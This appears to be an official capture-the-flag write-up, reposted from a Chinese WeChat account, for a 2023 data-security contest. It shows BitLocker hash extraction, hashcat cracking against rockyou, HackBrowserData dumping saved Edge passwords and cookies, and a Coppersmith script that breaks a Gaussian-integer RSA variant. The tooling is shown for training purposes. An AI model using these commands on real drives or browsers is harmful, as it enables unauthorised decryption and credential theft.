UP Nonce: c071b381174cd90111000000
UP MAC: 372aedad6fac0c3f703e84338a5a18ad
UP VMK: 5a33c5cf37f42239b75f7f16ce3a2dc51665f2d479bcbf2434407ff2dfd171e76fe49f939c526591aa9e3da1


Signature found at 0x22acb000
Version: 2 (Windows 7 or later)

VMK entry found at 0x22acb0b7

VMK entry found at 0x22acb243

Signature found at 0x22adb000
Version: 2 (Windows 7 or later)

VMK entry found at 0x22adb0b7

VMK entry found at 0x22adb243

User Password hash:
$bitlocker$0$16$a0e9d607f646e3eb71d12babcb2b04c9$1048576$12$c071b381174cd90111000000$60$372aedad6fac0c3f703e84338a5a18ad5a33c5cf37f42239b75f7f16ce3a2dc51665f2d479bcbf2434407ff2dfd171e76fe49f939c526591aa9e3da1
Hash type: User Password with MAC verification (slower solution, no false positives)
$bitlocker$1$16$a0e9d607f646e3eb71d12babcb2b04c9$1048576$12$c071b381174cd90111000000$60$372aedad6fac0c3f703e84338a5a18ad5a33c5cf37f42239b75f7f16ce3a2dc51665f2d479bcbf2434407ff2dfd171e76fe49f939c526591aa9e3da1
Hash type: Recovery Password fast attack
$bitlocker$2$16$714871bbeff0de9c53553a6a7626e96c$1048576$12$b05b5b45f43dd90106000000$60$27d2d71fefc272350cda1056d2ab5476543996c5896643a2f63fce7df2a9052d964a41794677389926c2a81f4bf7cdf22e04df181aa9d03a5b3d7461
Hash type: Recovery Password with MAC verification (slower solution, no false positives)
$bitlocker$3$16$714871bbeff0de9c53553a6a7626e96c$1048576$12$b05b5b45f43dd90106000000$60$27d2d71fefc272350cda1056d2ab5476543996c5896643a2f63fce7df2a9052d964a41794677389926c2a81f4bf7cdf22e04df181aa9d03a5b3d7461

采用第二个hash值 $bitlocker$1$16$a0e9d607f646e3eb71d12babcb2b04c9$1048576$12$c071b381174cd90111000000$60$372aedad6fac0c3f703e84338a5a18ad5a33c5cf37f42239b75f7f16ce3a2dc51665f2d479bcbf2434407ff2dfd171e76fe49f939c526591aa9e3da1,Write it to hash.txt

# hashcat -h | grep BitLocker
  22100 | BitLocker              | Full-Disk Encryption (FDE)

#
 hashcat -m 22100 hash.txt /usr/share/wordlists/rockyou.txt

得到密码为 laracroft.

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

解锁之后,把appdata文件夹dump到本地

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

发现secret.txt,给出对应提示

创建win10虚拟机,并将对应文件夹进行替换(AppDataLocalMicrosoftEdge)

采用 HackBrowserData(https://github.com/moonD4rk/HackBrowserData) 工具来得到对应信息.

E:>hack-browser-data-windows-64bit.exe -b all -f json --dir results -zip
[NOTICE] [browser.go:51,pickChromium] find browser Microsoft Edge success
[NOTICE] [browser.go:53,pickChromium] find browser microsoft_edge_default success
[NOTICE] [browser.go:47,pickChromium] find browser Brave failed, profile folder does not exist
[NOTICE] [browser.go:47,pickChromium] find browser Chrome failed, profile folder does not exist
[NOTICE] [browser.go:47,pickChromium] find browser Chromium failed, profile folder does not exist
[NOTICE] [browser.go:47,pickChromium] find browser Chrome Beta failed, profile folder does not exist
[NOTICE] [browser.go:47,pickChromium] find browser Opera failed, profile folder does not exist
[NOTICE] [browser.go:47,pickChromium] find browser OperaGX failed, profile folder does not exist
[NOTICE] [browser.go:47,pickChromium] find browser Vivaldi failed, profile folder does not exist
[NOTICE] [browser.go:47,pickChromium] find browser CocCoc failed, profile folder does not exist
[NOTICE] [browser.go:47,pickChromium] find browser Yandex failed, profile folder does not exist
[NOTICE] [browser.go:47,pickChromium] find browser 360speed failed, profile folder does not exist
[NOTICE] [browser.go:47,pickChromium] find browser QQ failed, profile folder does not exist
[NOTICE] [browser.go:91,pickFirefox] find browser firefox Firefox failed, profile folder does not exist
[NOTICE] [browsingdata.go:71,Output] output to file results/microsoft_edge_default_password.json success
[NOTICE] [browsingdata.go:71,Output] output to file results/microsoft_edge_default_cookie.json success
[NOTICE] [browsingdata.go:71,Output] output to file results/microsoft_edge_default_localstorage.json success
[NOTICE] [browsingdata.go:71,Output] output to file results/microsoft_edge_default_history.json success
[NOTICE] [main.go:68,func1] compress success

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

发现pastebin相关url 以及 password.

打开即可获得flag.(pwd is encrypt by base64)

Stranger

  1. 题目代码给出了一个类似于RSA的密码系统,但是是自己定义在复数上的,或者我们可以叫他Gaussian Integers based RSA.

  2. 此题第一个难点是如何解密,对于RSA系统,我们解密需要求关于函数的逆元,而此处的Gaussian Integers的函数如何定义是第一个难点,在这篇论文(https://www.jstor.org/stable/2322785?origin=JSTOR-pdf&seq=1)中我们可以发现,对于一个元素mod ,对于本题,.

  3. 第二个难点是如何利用畸形的。此处的,所以对于来说,,稍作变换可得:

    我们就可以在上构造出一个多项式:

    其中的一个根就是(注意此处的, 都是复数形式,此处的多项式也指的是分别的虚部实部都满足)。这就来到了熟悉的coppersmith环节。

  4. 对于coppersmith来说,我们需要(的虚部或实部)足够的小,注意到的虚实部都是flag经过sha256处理过的,可以知道每个部分都是bit,这样就足够小了,考察的是选手的细心程度。

  5. 经过coppersmith计算出来的虚部或实部之后,我们就可以用GCD分解n,之后正常解密即可。

import os
from Crypto.Util.number import *

class Complex:
    def __init__(self, re, im):
        self.re = re
        self.im = im
  
    def __mul__(self, c):
        re_ = self.re * c.re - self.im * c.im
        im_ = self.re * c.im + self.im * c.re
        return Complex(re_, im_)
  
    def show(self):
        print([self.re, self.im])

def complex_pow(c, exp, n):
    result = Complex(10)
    while exp > 0:
        if exp & 1:
            result = result * c
            result.re = result.re % n
            result.im = result.im % n
        c = c * c
        c.re = c.re % n
        c.im = c.im % n
        exp >>= 1
    return result

def pad(msg, length):
    pad_length = length - len(msg) - 1
    pad_data = os.urandom(pad_length)
    return msg + b'x00' + pad_data

def unpad(msg):
    return msg.split(b"x00")[0]

def totient(p, q):
    return (p**2 - 1) * (q**2 - 1)

c1 = [905545365996235741196649511286499364193329260636967688607659287464384585500685537484401083946733038004432153161908828807379188205923847290104916854870616587108082863417511964506040894388473542063843226109228390553081381012419068616353396359076634400434421870640906302079526258975672144311956215898341314626989144096375153318849308858335764188418198064372272913164911615933938183103747900881824918069830188301084043148828961577193063557255905230182831945580084452509300200269659063051152684191139872067872645370760797859584822240361290678189844670289832298393156571913616456958845361092243648857334156534377833472900]
c2 = [6292571457623301721322840423094978733434654337832079896465673235958715290503284827115679953835574840613674297904372904072812373088638146856477904185631026277076605021346407356885070282783547268088518648702769839509959869846371727901701312448869947516805258147622474214696741290441626665260503193402526654000362818668456104375760667670741457826560706388018921820295286033114468271151921637926389738844622672202424650967678199715932465104135980734708459543588178208672956785650944371545080965650112025782049517299538052360417245732776384089052839997333049599655001615752078742624898059780909287845495731050387891926520]
n = 94040393367054633265453751757391098049234338193258976478647369399924701067077628840760704857546243644552533845934146003988635403227234096447871132283820920489003286967145732739404245319615714787916756200564828237043658350145929927911058782352154997346295194977765305107634012698472977467843980475009837261877

c1 = Complex(c1[0], c1[1])
c2 = Complex(c2[0], c2[1])

# exp
c = complex_pow(c1, n, n)
im_x = c.im
re_x = c.re
P.<x> = PolynomialRing(Zmod(n))
f = im_x - x
im = int(f.monic().small_roots(X=2^128, beta=0.4)[0])
q = GCD(im_x - im, n)
p = n // q
assert p * q == n
phi = totient(p, q)
e = q * inverse(p, phi)
d = inverse(e, phi)
m = complex_pow(c2, d, n)
print(unpad(long_to_bytes(m.re)) + unpad(long_to_bytes(m.im)))



相关阅读



调教GPT-4:一道签到题的生成过程

+ + + + + + + + + + + 

  +

+

有话说


如果您有比赛想要宣传,欢迎联系我们刊登发布

如果您想练习历史大赛CTF题目,欢迎体验演武场

https://arena.ichunqiu.com/

扫描关注下方春秋GAME官方公众号

发送“演武场”三字可了解更多关于演武场的信息

发送“了解”两字即可加入春秋赛事宇宙官方微信群

春秋GAME期待与您的见面~~~


官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛



+ + + + + + + + + + + 

原文始发于微信公众号(春秋伽玛):官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

版权声明:admin 发表于 2023年4月11日 上午11:50。
转载请注明:官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...